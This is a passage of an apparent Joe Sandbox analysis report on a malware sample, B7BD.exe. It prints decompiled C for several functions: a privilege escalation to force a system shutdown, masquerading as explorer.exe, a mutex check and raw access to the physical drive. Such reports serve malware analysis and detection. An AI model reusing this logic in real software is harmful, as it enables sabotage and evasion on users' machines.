				_v16 = E0040C2B9(_t66, _v12, 0xce91d18);
				_v16(1);
				return 1;
			}

0x004023f2
0x004023f8
0x0040240a
0x0040241e
0x00402432
0x00402446
0x0040244e
0x0040245c
0x00402468
0x0040246e
0x0040be06
0x00000000
0x0040be06
0x00402488
0x0040248b
0x0040249a
0x004024b4
0x004024b7
0x004024b9
0x00000000
0x00000000
0x004024bf
0x004024c6
0x004024d8
0x004024ec
0x004024f1
0x00000000

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00402404
LoadLibraryA.KERNEL32(NTDLL.DLL), ref: 004024D2

Strings

advapi32.dll, xrefs: 004023FF
NTDLL.DLL, xrefs: 004024CD
SeShutdownPrivilege, xrefs: 00402481

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: NTDLL.DLL$SeShutdownPrivilege$advapi32.dll
API String ID: 1029625771-2471717051
Opcode ID: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction ID: 3c0ce9a7761a6e63309c521fc4ca6a6d9466e377a545f21450368ef7aac56ae8
Opcode Fuzzy Hash: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction Fuzzy Hash: F13146B1E10209EBDB04DFE0CD46BEEBB74EB44701F20416AF501B66C0E7795A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405312 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00405312(WCHAR* _a4, intOrPtr _a8, signed int _a12) {
				long _v8;
				signed int _v12;
				unsigned int _v16;
				intOrPtr _v20;
				short _v22;
				char _v24;
				void* _v32;

				if(_a12 <= 0x7ffd) {
					_v12 = _a12;
				} else {
					_v12 = 0x7ffd;
				}
				E0040335C( &_v32,  &_v32, 8);
				RtlInitUnicodeString( &_v32, _a4);
				_v20 = _a8;
				_v24 = 0;
				_v22 = _v12 << 1;
				_v16 = 0;
				_v8 =  *0x46cfc0(0,  &_v32,  &_v24,  &_v16);
				if(_v8 >= 0) {
					L7:
					return _v16 >> 1;
				} else {
					if(_v8 != 0xc0000023) {
						goto L1;
					}
					goto L7;
				}
				L1:
				RtlRestoreLastWin32Error(RtlNtStatusToDosError(_v8));
				return 0;
			}

0x0040531f
0x0040c39a
0x00405325
0x00405325
0x00405325
0x00408332
0x00408342
0x0040834b
0x00408350
0x00408359
0x0040835d
0x00408378
0x0040837f
0x0040b659
0x00000000
0x00408385
0x0040838c
0x00000000
0x00000000
0x00000000
0x00408392
0x004037e4
0x004037ef
0x00000000

APIs

RtlNtStatusToDosError.NTDLL(C0000023), ref: 004037E8
RtlRestoreLastWin32Error.NTDLL(00000000), ref: 004037EF
RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

#, xrefs: 00408385

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Error$EnvironmentExpandInitLastRestoreStatusStringStrings_UnicodeWin32
String ID: #
API String ID: 4202685462-1885708031
Opcode ID: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction ID: 2625ad76528c3a05819e41784e94355af3192e6a8ec1aace2841fc774e878e1c
Opcode Fuzzy Hash: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction Fuzzy Hash: D5115175D14209EFDB14DFE4C984AAEBB79EF08301F10856AE915B32C0EB789705CB56

Uniqueness

Uniqueness Score: -1.00%

Function 004050A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004050A2(void* __ecx, struct _EXCEPTION_RECORD _a4, intOrPtr _a8, WCHAR* _a12) {
				intOrPtr _v8;
				intOrPtr _t12;

				_push(__ecx);
				_v8 = _a8;
				_t12 =  *((intOrPtr*)(_a4 + 0x18));
				if(_t12 ==  *((intOrPtr*)(_v8 + 8))) {
					__ecx =  *0x46c2d0; // 0x9d0000
					RtlInitUnicodeString(_a4 + 0x24, __ecx);
					__eax = _a4;
					__eax = _a4 + 0x2c;
					RtlInitUnicodeString(__eax, L"explorer.exe");
					__ecx = _a12;
					 *_a12 = 1;
					return __eax;
				}
				 *_a12 = 0;
				return _t12;
			}

0x004050a5
0x004050a9
0x004050b2
0x004050b8
0x004050be
0x004050cc
0x004050d7
0x004050da
0x004050de
0x004050e4
0x004050e7
0x00000000
0x004050e7
0x004043bf
0x00000000

APIs

RtlInitUnicodeString.NTDLL(?,009D0000), ref: 004050CC
RtlInitUnicodeString.NTDLL(?,explorer.exe), ref: 004050DE

Strings

explorer.exe, xrefs: 004050D2

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: InitStringUnicode
String ID: explorer.exe
API String ID: 4228678080-3187896405
Opcode ID: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction ID: 050ed0569a6514cfdb40d37d4b6a842c1993e2635d6f26a1999b978f90a0d4ff
Opcode Fuzzy Hash: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction Fuzzy Hash: BAF09074204248EFCB04CF54C880E6ABBA6FB49304F20855AFC0597381C674ED91CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00403AEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403AEE(void* __ecx) {
				struct _SECURITY_ATTRIBUTES* _v8;

				 *0x46c534 = CreateMutexW(0, 0, L"WTfewgNmxpcaVXHKTu");
				if(GetLastError() == 0xb7) {
					_v8 = 0;
				} else {
					_v8 = 1;
				}
				return _v8;
			}

0x00403b01
0x00403b11
0x00403e7a
0x00403b17
0x00403b17
0x00403b17
0x004021a0

APIs

CreateMutexW.KERNEL32(00000000,00000000,WTfewgNmxpcaVXHKTu,?,?,004044C1,?,?,004046B5), ref: 00403AFB
GetLastError.KERNEL32(?,?,004044C1,?,?,004046B5), ref: 00403B06

Strings

WTfewgNmxpcaVXHKTu, xrefs: 00403AF2

Memory Dump Source

Source File: 00000006.00000002.471728955.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.471728955.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.471728955.000000000046E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: WTfewgNmxpcaVXHKTu
API String ID: 1925916568-3869692174
Opcode ID: 502994abb643b6907aca016e4420326689993ac7df3b6146a4ea7ff5db15ab22
Instruction ID: a0a935667e3c440a3b0ad9d72cf5864bc57c65037e1d1e5c0e0eaa538b974b95
Opcode Fuzzy Hash: 502994abb643b6907aca016e4420326689993ac7df3b6146a4ea7ff5db15ab22
Instruction Fuzzy Hash: F7D017B040A304EAE3009F50DE4DB597EB4EB04703F208036E2026A2D4E3F85A45564A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: B7BD.exePID: 3176, Parent PID: 5844COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	33.2%
Signature Coverage:	0%
Total number of Nodes:	205
Total number of Limit Nodes:	9

Executed Functions

Function 004023F2 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 82
librarynativeshutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E004023F2(void* __eflags) {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _v12;
				int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v36;
				long _v40;
				struct _TOKEN_PRIVILEGES _v56;
				intOrPtr _t34;
				int _t43;
				void* _t57;
				void* _t64;

				_t64 = __eflags;
				_v8 = 0;
				_v8 = LoadLibraryA("advapi32.dll");
				_v24 = E0040C2B9(_t64, _v8, 0xcb281c54);
				_v28 = E0040C2B9(_t64, _v8, 0x67340137);
				_v36 = E0040C2B9(_t64, _v8, 0x11143a65);
				_t34 =  *0x46c530; // 0x74700000
				_v20 = E0040C2B9(_t64, _t34, 0xb65a6df4);
				_push(_v20(0x28,  &_v32));
				if(_v24() == 0) {
					L4:
					return 0;
				}
				LookupPrivilegeValueA(0, "SeShutdownPrivilege", _t57 + 0xffffffffffffffd0);
				_v56.PrivilegeCount = 1;
				 *((intOrPtr*)(_t57 + 0xffffffffffffffd8)) = 2;
				_t43 = AdjustTokenPrivileges(_v32, 0,  &_v56, 0, 0,  &_v40);
				_t66 = _t43;
				if(_t43 == 0) {
					goto L4;
				}
				_v12 = 0;
				_v16 = 0;
				_v12 = LoadLibraryA("NTDLL.DLL");
				_v16 = E0040C2B9(_t66, _v12, 0xce91d18);
				_v16(1);
				return 1;
			}

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00402404
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00402488
AdjustTokenPrivileges.KERNELBASE(?,00000000,00000001,00000000,00000000,?), ref: 004024B4
LoadLibraryA.KERNEL32(NTDLL.DLL), ref: 004024D2
NtShutdownSystem.NTDLL(00000001), ref: 004024F1

Strings

NTDLL.DLL, xrefs: 004024CD
SeShutdownPrivilege, xrefs: 00402481
advapi32.dll, xrefs: 004023FF

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: LibraryLoad$AdjustLookupPrivilegePrivilegesShutdownSystemTokenValue
String ID: NTDLL.DLL$SeShutdownPrivilege$advapi32.dll
API String ID: 2117616786-2471717051
Opcode ID: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction ID: 3c0ce9a7761a6e63309c521fc4ca6a6d9466e377a545f21450368ef7aac56ae8
Opcode Fuzzy Hash: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction Fuzzy Hash: F13146B1E10209EBDB04DFE0CD46BEEBB74EB44701F20416AF501B66C0E7795A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409543 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
memorylibrarynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00409543(void* __ecx) {
				intOrPtr _v8;
				long _v12;
				long _v16;
				short _v1056;
				long _t24;
				void* _t28;
				WCHAR* _t30;
				WCHAR* _t31;

				_v8 = E00407E0C();
				E0040335C(__ecx,  &_v1056, 0x410);
				_t24 = GetWindowsDirectoryW( &_v1056, 0x104);
				_v12 = _t24;
				if(_v12 != 0 && _v12 < 0x104) {
					E0040B160( &_v1056, "\\");
					E0040B160( &_v1056, L"explorer.exe");
					 *0x46c2d0 = 0;
					_v16 = 0x1000;
					_t24 = NtAllocateVirtualMemory(0xffffffff, 0x46c2d0, 0,  &_v16, 0x3000, 4); // executed
					if( *0x46c2d0 != 0) {
						_t28 =  *0x46c2d0; // 0x900000
						E00408BFE( &_v16, _t28,  &_v1056);
						_t13 = _v8 + 0x1c; // 0xdb51e8ec
						EnterCriticalSection( *_t13);
						_t30 =  *0x46c2d0; // 0x900000
						_t15 = _v8 + 0x10; // 0x1b8
						RtlInitUnicodeString( *_t15 + 0x38, _t30);
						_t31 =  *0x46c2d0; // 0x900000
						_t17 = _v8 + 0x10; // 0x1b8
						RtlInitUnicodeString( *_t17 + 0x40, _t31);
						_t19 = _v8 + 0x1c; // 0xdb51e8ec
						LeaveCriticalSection( *_t19);
						return  *0x46cfb0(0, E004050A2, _v8);
					}
				}
				return _t24;
			}

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
RtlInitUnicodeString.NTDLL(00000180,00900000), ref: 00409626
RtlInitUnicodeString.NTDLL(00000178,00900000), ref: 0040963C
LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Strings

explorer.exe, xrefs: 004095A8

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: CriticalInitSectionStringUnicode$AllocateDirectoryEnterEnumerateLeaveLoadedMemoryModulesVirtualWindows
String ID: explorer.exe
API String ID: 3728205514-3187896405
Opcode ID: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction ID: d3c5517ac64ebe0f4a93bb8fcf9093c65cacff95b6910bca11f849b0b04bbd4d
Opcode Fuzzy Hash: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction Fuzzy Hash: 4F3195B5940208EBC704DF90DCC5FA97775AB48305F1081BAFA05672D1E7B8AE85CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00408958 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00408958(void* __eax, void* __ecx, void* __edx, void* __edi, int _a4) {
				void* _v8;
				int _v12;
				long _v16;
				void _v48;
				void* __ebp;
				int _t21;

				_push(__ebp);
				__ebp = __esp;
				__esp = __esp - 0x2c;
				_push(0);
				 *__edx =  *__edx + __ch;
				__eax = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??); // executed
				_v8 = __eax;
				__eax =  &_v16;
				__ecx =  &_v48;
				__edx = _v8;
				__eax = DeviceIoControl(_v8, 0x560000, 0, 0,  &_v48, 0x20,  &_v16, 0); // executed
				_v12 = __eax;
				__eax = _a4;
				__ecx = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *__eax = __ecx;
				__edx = M004133C4; // 0x53594850
				 *((intOrPtr*)(__eax + 4)) = __edx;
				__ecx = M004133C8; // 0x4c414349
				 *(__eax + 8) = __ecx;
				__edx = M004133CC; // 0x56495244
				 *((intOrPtr*)(__eax + 0xc)) = __edx;
				__cx =  *0x4133d0; // 0x3045
				 *((short*)(__eax + 0x10)) = __cx;
				__dl =  *0x4133d2; // 0x0
				 *((char*)(__eax + 0x12)) = __dl;
				if(_v12 != 0 && _v48 != 0) {
					__eax = 0x18;
					__ecx = 0;
					 *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) =  *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) + 0x30;
					__eax = 1;
					__ecx = 0x11;
					__eax = _a4;
					 *((char*)(_a4 + 0x11)) = __dl;
				}
				_t21 = FindCloseChangeNotification(_v8); // executed
				return _t21;
			}

0x0040895b
0x0040895c
0x0040895e
0x00408961
0x00408962
0x00408972
0x00408978
0x0040897d
0x00408983
0x00408990
0x00408994
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x004089eb
0x004089f0
0x004089f7
0x004089fa
0x004089ff
0x00408a02
0x00408a05
0x00408a05
0x004047e4
0x004047ed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 004047E4
CreateFileA.KERNELBASE(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNELBASE(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\C:, xrefs: 0040896D
\\.\PHYSICALDRIVE0, xrefs: 004089A0

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ChangeCloseControlCreateDeviceFileFindNotification
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 1020254441-2160117148
Opcode ID: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction ID: 6179182b2b83b9443c5bd9d33f461fa1aeab268a59a3a7b7debce46551af33e6
Opcode Fuzzy Hash: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction Fuzzy Hash: AF216D38640348EFD718CF68ED45F99BBB4EB48701F10C1AAE905AB3E1D6B49B40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040895B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E0040895B(void* __ecx, void* __edx, int _a4) {
				void* _v8;
				int _v12;
				long _v16;
				void _v48;
				void* __ebp;
				int _t19;

				_push(0);
				 *__edx =  *__edx + __ch;
				__eax = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??); // executed
				_v8 = __eax;
				__eax =  &_v16;
				__ecx =  &_v48;
				__edx = _v8;
				__eax = DeviceIoControl(_v8, 0x560000, 0, 0,  &_v48, 0x20,  &_v16, 0); // executed
				_v12 = __eax;
				__eax = _a4;
				__ecx = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *__eax = __ecx;
				__edx = M004133C4; // 0x53594850
				 *((intOrPtr*)(__eax + 4)) = __edx;
				__ecx = M004133C8; // 0x4c414349
				 *(__eax + 8) = __ecx;
				__edx = M004133CC; // 0x56495244
				 *((intOrPtr*)(__eax + 0xc)) = __edx;
				__cx =  *0x4133d0; // 0x3045
				 *((short*)(__eax + 0x10)) = __cx;
				__dl =  *0x4133d2; // 0x0
				 *((char*)(__eax + 0x12)) = __dl;
				if(_v12 != 0 && _v48 != 0) {
					__eax = 0x18;
					__ecx = 0;
					 *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) =  *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) + 0x30;
					__eax = 1;
					__ecx = 0x11;
					__eax = _a4;
					 *((char*)(_a4 + 0x11)) = __dl;
				}
				_t19 = FindCloseChangeNotification(_v8); // executed
				return _t19;
			}

0x00408961
0x00408962
0x00408972
0x00408978
0x0040897d
0x00408983
0x00408990
0x00408994
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x004089eb
0x004089f0
0x004089f7
0x004089fa
0x004089ff
0x00408a02
0x00408a05
0x00408a05
0x004047e4
0x004047ed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 004047E4
CreateFileA.KERNELBASE(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNELBASE(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\C:, xrefs: 0040896D
\\.\PHYSICALDRIVE0, xrefs: 004089A0

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ChangeCloseControlCreateDeviceFileFindNotification
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 1020254441-2160117148
Opcode ID: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction ID: 711083b2bbb86b7d36e7a7c78397dedf6b4307ebbdc5261e1e4f3fe33cb2826c
Opcode Fuzzy Hash: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction Fuzzy Hash: 6F215C38600308AFD718CF58DC46F99BBB4AB48701F10C0AAE905AB3E1D6B4AA40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00408951 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00408951(void* __eax, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi) {
				void* _t21;
				int _t23;
				char* _t24;
				int _t25;
				char _t31;
				char _t32;
				char _t33;
				char _t39;
				char _t40;
				char _t41;
				void* _t46;

				 *__edx =  *__edx + __ecx;
				_t21 = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??); // executed
				 *(_t46 - 4) = _t21;
				_t23 = DeviceIoControl( *(_t46 - 4), 0x560000, 0, 0, _t46 - 0x2c, 0x20, _t46 - 0xc, 0); // executed
				 *(_t46 - 8) = _t23;
				_t24 =  *(_t46 + 8);
				_t31 = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *_t24 = _t31;
				_t39 = M004133C4; // 0x53594850
				_t24[4] = _t39;
				_t32 = M004133C8; // 0x4c414349
				_t24[8] = _t32;
				_t40 = M004133CC; // 0x56495244
				_t24[0xc] = _t40;
				_t33 =  *0x4133d0; // 0x3045
				_t24[0x10] = _t33;
				_t41 =  *0x4133d2; // 0x0
				_t24[0x12] = _t41;
				if( *(_t46 - 8) != 0 &&  *(_t46 - 0x2c) != 0) {
					( *(_t46 + 8))[0x11] =  *((intOrPtr*)(_t46 + 0xffffffffffffffdc)) + 0x30;
				}
				_t25 = FindCloseChangeNotification( *(_t46 - 4)); // executed
				return _t25;
			}

0x00408962
0x00408972
0x00408978
0x00408994
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x00408a05
0x00408a05
0x004047e4
0x004047ed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 004047E4
CreateFileA.KERNELBASE(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNELBASE(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\C:, xrefs: 0040896D
\\.\PHYSICALDRIVE0, xrefs: 004089A0

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ChangeCloseControlCreateDeviceFileFindNotification
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 1020254441-2160117148
Opcode ID: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction ID: 389e508c5a35674a8dec956cf5ed0ace9ff19c3110c7d277eeff61c57732489a
Opcode Fuzzy Hash: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction Fuzzy Hash: 79216D78604348EFD708CF58E855BA9BBB4EB48711F10C1AAE905AB3E1D7B49B40CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00401B2C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401B2C(void* __ecx, void* _a4) {
				union _PROCESSINFOCLASS _v8;
				long _v12;
				unsigned int _v16;
				void _v44;
				long _t14;

				if(_a4 != 0) {
					E0040335C(__ecx,  &_v44, 0x20);
					_v44 = 0x20;
					_t14 = NtQueryInformationProcess(_a4, 0,  &_v44, 0x20, 0); // executed
					_v12 = _t14;
					if(_v12 < 0) {
						return 0;
					}
					if((_v16 >> 0x00000001 & 0x00000001) == 0) {
						_v8 = 0;
					} else {
						_v8 = 1;
					}
					return _v8;
				}
				return 0;
			}

0x00401b36
0x00402a8b
0x00402a93
0x00402aa8
0x00402aae
0x00402ab5
0x00000000
0x00401fe6
0x00402ac3
0x0040bda2
0x00402ac9
0x00402ac9
0x00402ac9
0x00000000
0x00409df3
0x00000000

APIs

NtQueryInformationProcess.NTDLL(00000000,00000000,00000020,00000020,00000000), ref: 00402AA8

Strings

, xrefs: 00402A93

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-3916222277
Opcode ID: 99cf6030004cc14fcfbf758772858fa4ef28e9fcd54024a0ddfc1a5f41bc18d2
Instruction ID: b5fb0c1052741472a29b3626a296402ee31a9556d555090f334d473f401f16ea
Opcode Fuzzy Hash: 99cf6030004cc14fcfbf758772858fa4ef28e9fcd54024a0ddfc1a5f41bc18d2
Instruction Fuzzy Hash: 0E01A471D04308FBDB00DF90C98A7EDBBB8AB05314F24506AE540772C1E7BC9685A75A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEA4 Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0040AEA4(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* _t6;
				void* _t7;
				void* _t9;
				void* _t11;
				void* _t14;
				void* _t15;

				_t15 = __esi;
				_t14 = __edi;
				_t11 = __ebx;
				_push(__ecx);
				_v8 =  *[fs:0x30];
				E0040D1F6();
				_t13 = _v8;
				if( *((intOrPtr*)(_v8 + 0xa4)) > 5) {
					E00404369(__ebx, __edi, __esi); // executed
				}
				_t6 = E0040C13C(_t13); // executed
				if(_t6 != 0) {
					_t7 = E00403AEE(_t13); // executed
					__eflags = _t7;
					if(_t7 != 0) {
						E004043AD(); // executed
						_t9 = E00407D21(_t11, _t13, _t14, _t15); // executed
						__eflags = _t9;
						if(__eflags != 0) {
							Sleep(0x927c0); // executed
							E004023F2(__eflags); // executed
						}
						ExitProcess(0); // executed
					}
					return _t7;
				} else {
					return _t6;
				}
			}

0x0040aea4
0x0040aea4
0x0040aea4
0x0040aea7
0x0040aeae
0x0040aeb1
0x0040aeb6
0x0040aec0
0x0040aec6
0x0040aec6
0x00401bd2
0x00401bd9
0x004044bc
0x004044c1
0x004044c3
0x0040a95e
0x0040a963
0x0040a968
0x0040a96a
0x0040a975
0x0040a97b
0x0040a97b
0x00402b46
0x00402b46
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

